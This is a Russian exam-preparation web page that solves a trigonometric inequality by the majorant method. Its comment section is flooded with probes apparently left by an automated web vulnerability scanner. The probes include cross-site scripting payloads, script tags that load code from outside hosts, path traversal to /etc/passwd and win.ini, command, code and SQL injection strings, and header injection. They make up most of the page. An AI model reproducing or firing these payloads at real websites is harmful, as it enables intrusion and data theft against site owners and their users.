Егэ-тренер. Подготовка 2019-2020
Тренинги в прямом эфире для учителей и учеников

15(C3). Решение неравенства с помощью метода мажорант

Найти все значения х, при каждом из которых выполняется
соотношение (cos
3πx
4 		+ sin
3πx
4		)2 ≥ 3 + 2x + x2.

Преобразуем левую часть:
(cos
3πx
4 		+ sin
3πx
4		)2 = cos2
3πx
4 		+ sin2
3πx
4 		+ 2sin
3πx
4		cos
3πx
4 		= 1 + sin
3πx
2
Неравенство становится таким: 1 + sin
3πx
2 		≥ 3 + 2x + x2.
Немного упростим его: sin
3πx
2 		≥ 2 + 2x + x2.

В правой части выделим квадрат двучлена: sin
3πx
2 		≥ (x + 1)2 + 1.
Заметим, что левая часть не больше единицы, а правая часть не меньше единицы.
Таким образом, неравенство может выполняться тогда и только тогда,
когда обе части равны единице одновременно.
Это происходит, если значение х равно -1 (проверьте сами).
Ответ: -1

Автор: Ольга Себедаш             Просмотров: 14009

Комментарии к этой задаче:

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): response.write(9385358*9045764)
Дата: 2021-12-20

1

Комментарий добавил(а): "+response.write(9385358*9045764)+"
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

response.write(9976869*9472445)

Комментарий добавил(а): 1
Дата: 2021-12-20

"+response.write(9976869*9472445)+"

Комментарий добавил(а): set|set&set
Дата: 2021-12-20

1

Комментарий добавил(а): SomeCustomInjectedHeader:injected_by_wvs
Дата: 2021-12-20

1

Комментарий добавил(а): "set|set&set"
Дата: 2021-12-20

1

Комментарий добавил(а): SomeCustomInjectedHeader:injected_by_wvs
Дата: 2021-12-20

1

Комментарий добавил(а): SomeCustomInjectedHeader:injected_by_wvs
Дата: 2021-12-20

1

Комментарий добавил(а): set|set&set
Дата: 2021-12-20

1

Комментарий добавил(а): `set|set&set`
Дата: 2021-12-20

1

Комментарий добавил(а): ;set|set&set;
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

SomeCustomInjectedHeader:injected_by_wvs

Комментарий добавил(а): 1
Дата: 2021-12-20

SomeCustomInjectedHeader:injected_by_wvs

Комментарий добавил(а): 1
Дата: 2021-12-20

SomeCustomInjectedHeader:injected_by_wvs

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): ${100331+100216}
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
Дата: 2021-12-20

1

Комментарий добавил(а): 1some_inexistent_file_with_long_name.jpg
Дата: 2021-12-20

1

Комментарий добавил(а): Http://testasp.vulnweb.com/t/fit.txt
Дата: 2021-12-20

1

Комментарий добавил(а): http://testasp.vulnweb.com/t/fit.txt?.jpg
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

${99737+99419}

Комментарий добавил(а): testasp.vulnweb.com
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

set|set&set

Комментарий добавил(а): 1
Дата: 2021-12-20

"set|set&set"

Комментарий добавил(а): 1
Дата: 2021-12-20

set|set&set

Комментарий добавил(а): 1
Дата: 2021-12-20

`set|set&set`

Комментарий добавил(а): 1
Дата: 2021-12-20

;set|set&set;

Комментарий добавил(а): ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
Дата: 2021-12-20

1

Комментарий добавил(а): Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n
Дата: 2021-12-20

1

Комментарий добавил(а): ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): WEB-INF/web.xml
Дата: 2021-12-20

1

Комментарий добавил(а): WEB-INFweb.xml
Дата: 2021-12-20

1

Комментарий добавил(а): ../../../../../../../../../../windows/win.ini
Дата: 2021-12-20

1

Комментарий добавил(а): ../../../../../../../../../../boot.ini
Дата: 2021-12-20

1

Комментарий добавил(а): ../../../../../../../../../../windows/win.ini.jpg
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): ................windowswin.ini
Дата: 2021-12-20

1

Комментарий добавил(а): ................windowswin.ini
Дата: 2021-12-20

1

Комментарий добавил(а): /../../../../../../windows/win.ini
Дата: 2021-12-20

1

Комментарий добавил(а): ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
Дата: 2021-12-20

1

Комментарий добавил(а): ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
Дата: 2021-12-20

1

Комментарий добавил(а): )
Дата: 2021-12-20

1

Комментарий добавил(а): unexisting/../../../../../../../../../../windows/win.ini............................................
Дата: 2021-12-20

1

Комментарий добавил(а): !(()&&!|*|*|
Дата: 2021-12-20

1

Комментарий добавил(а): WEB-INF/web.xml?
Дата: 2021-12-20

1

Комментарий добавил(а): WEB-INFweb.xml?
Дата: 2021-12-20

1

Комментарий добавил(а): ^(#$!@#$)(()))******
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): ;print(md5(acunetix_wvs_security_test));
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1some_inexistent_file_with_long_name.jpg

Комментарий добавил(а): ";print(md5(acunetix_wvs_security_test));$a="
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

Http://testasp.vulnweb.com/t/fit.txt

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): ${@print(md5(acunetix_wvs_security_test))}
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

)

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): ${@print(md5(acunetix_wvs_security_test))}
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

!(()&&!|*|*|

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

testasp.vulnweb.com

Комментарий добавил(а): 1
Дата: 2021-12-20

^(#$!@#$)(()))******

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): http://testasp.vulnweb.com/t/xss.html?%00.jpg
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
Дата: 2021-12-20

1

Комментарий добавил(а): http://hitUgypNFrDnQ.bxss.me/
Дата: 2021-12-20

1

Комментарий добавил(а): comment.php
Дата: 2021-12-20

1

Комментарий добавил(а): comment.php
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): comment.php/.
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

;print(md5(acunetix_wvs_security_test));

Комментарий добавил(а): www.acunetix.com
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

";print(md5(acunetix_wvs_security_test));$a="

Комментарий добавил(а): 1
Дата: 2021-12-20

${@print(md5(acunetix_wvs_security_test))}

Комментарий добавил(а): 1
Дата: 2021-12-20

${@print(md5(acunetix_wvs_security_test))}

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): @@UCpxR
Дата: 2021-12-20

1

Комментарий добавил(а): JyI=
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): (select convert(int,CHAR(65)))
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

www.acunetix.com

Комментарий добавил(а): 1
Дата: 2021-12-20

comment.php

Комментарий добавил(а): 1
Дата: 2021-12-20

comment.php

Комментарий добавил(а): 1
Дата: 2021-12-20

comment.php/.

Комментарий добавил(а): <!--
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

<!--

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

@@FJfjY

Комментарий добавил(а): 1
Дата: 2021-12-20

JyI=

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1_956175
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

(select convert(int,CHAR(65)))

Комментарий добавил(а): acu3595пјњs1﹥s2Кєs3К№uca3595
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ScRiPt >prompt(935574)</ScRiPt>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<script>prompt(987253)</script>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ScR<ScRiPt>IpT>prompt(999311)</sCr<ScRiPt>IpT>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ScRiPt >prompt(918011)</ScRiPt>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?951545></ScRiPt>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ScRiPt >prompt(979953)</ScRiPt>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<video><source onerror="javascript:prompt(987680)">
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): 1<div style=width:expression(prompt(951252))>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<body onload=prompt(989150)>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(955601)>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<img src=xyz OnErRor=prompt(997998)>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<img/src=">" onerror=alert(971352)>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ScRiPt%20>prompt(926787)</sCripT>
Дата: 2021-12-20

1

Комментарий добавил(а): 1&lt;ScRiPt&gt;prompt(965816)&lt;/sCripT&gt;
Дата: 2021-12-20

1

Комментарий добавил(а):
Дата: 2021-12-20

1

Комментарий добавил(а): 1<input autofocus onfocus=prompt(961927)>
Дата: 2021-12-20

1

Комментарий добавил(а): <a HrEF=http://www.acunetix.com>website,security</a>
Дата: 2021-12-20

1

Комментарий добавил(а): <a HrEF=jaVaScRiPT:>
Дата: 2021-12-20

1

Комментарий добавил(а): [url=http://www.acunetix.com]website security[/url]
Дата: 2021-12-20

1

Комментарий добавил(а): 1<img<!-- --> src=x onerror=alert(990579);//><!-- -->
Дата: 2021-12-20

1

Комментарий добавил(а): 1_FdHhN <ScRiPt >prompt(965946)</ScRiPt>
Дата: 2021-12-20

1

Комментарий добавил(а): 1<ifRAme sRc=973762.com></IfRamE>
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

Комментарий добавил(а): 1
Дата: 2021-12-20

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

Комментарий добавил(а): 1
Дата: 2021-12-20

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

WEB-INF/web.xml

Комментарий добавил(а): 1
Дата: 2021-12-20

WEB-INFweb.xml

Комментарий добавил(а): 1
Дата: 2021-12-20

../../../../../../../../../../windows/win.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

../../../../../../../../../../boot.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

../../../../../../../../../../windows/win.ini.jpg

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

................windowswin.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

................windowswin.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

/../../../../../../windows/win.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

Комментарий добавил(а): 1
Дата: 2021-12-20

unexisting/../../../../../../../../../../windows/win.ini....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Комментарий добавил(а): 1
Дата: 2021-12-20

WEB-INF/web.xml?

Комментарий добавил(а): 1
Дата: 2021-12-20

WEB-INFweb.xml?

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1

Комментарий добавил(а): 1
Дата: 2021-12-20

1_919801

Комментарий добавил(а): 1
Дата: 2021-12-20

acu8460＜s1﹥s2ʺs3ʹuca8460

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ScRiPt >prompt(990378)</ScRiPt>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<script>prompt(992578)</script>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ScR<ScRiPt>IpT>prompt(907739)</sCr<ScRiPt>IpT>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ScRiPt >prompt(944476)</ScRiPt>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?935399></ScRiPt>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ScRiPt >prompt(918388)</ScRiPt>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<video><source onerror="javascript:prompt(995596)">

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

1<div style=width:expression(prompt(944777))>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<body onload=prompt(911158)>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(912985)>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<img src=xyz OnErRor=prompt(913998)>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<img/src=">" onerror=alert(941849)>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ScRiPt%20>prompt(956079)</sCripT>

Комментарий добавил(а): 1
Дата: 2021-12-20

1&lt;ScRiPt&gt;prompt(987243)&lt;/sCripT&gt;

Комментарий добавил(а): 1
Дата: 2021-12-20

Комментарий добавил(а): 1
Дата: 2021-12-20

1<input autofocus onfocus=prompt(938654)>

Комментарий добавил(а): 1
Дата: 2021-12-20

<a HrEF=jaVaScRiPT:>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<img<!-- --> src=x onerror=alert(903983);//><!-- -->

Комментарий добавил(а): 1
Дата: 2021-12-20

1_2b5SG <ScRiPt >prompt(907406)</ScRiPt>

Комментарий добавил(а): 1
Дата: 2021-12-20

1<ifRAme sRc=913392.com></IfRamE>

Добавить Ваш комментарий:
Яндекс.Метрика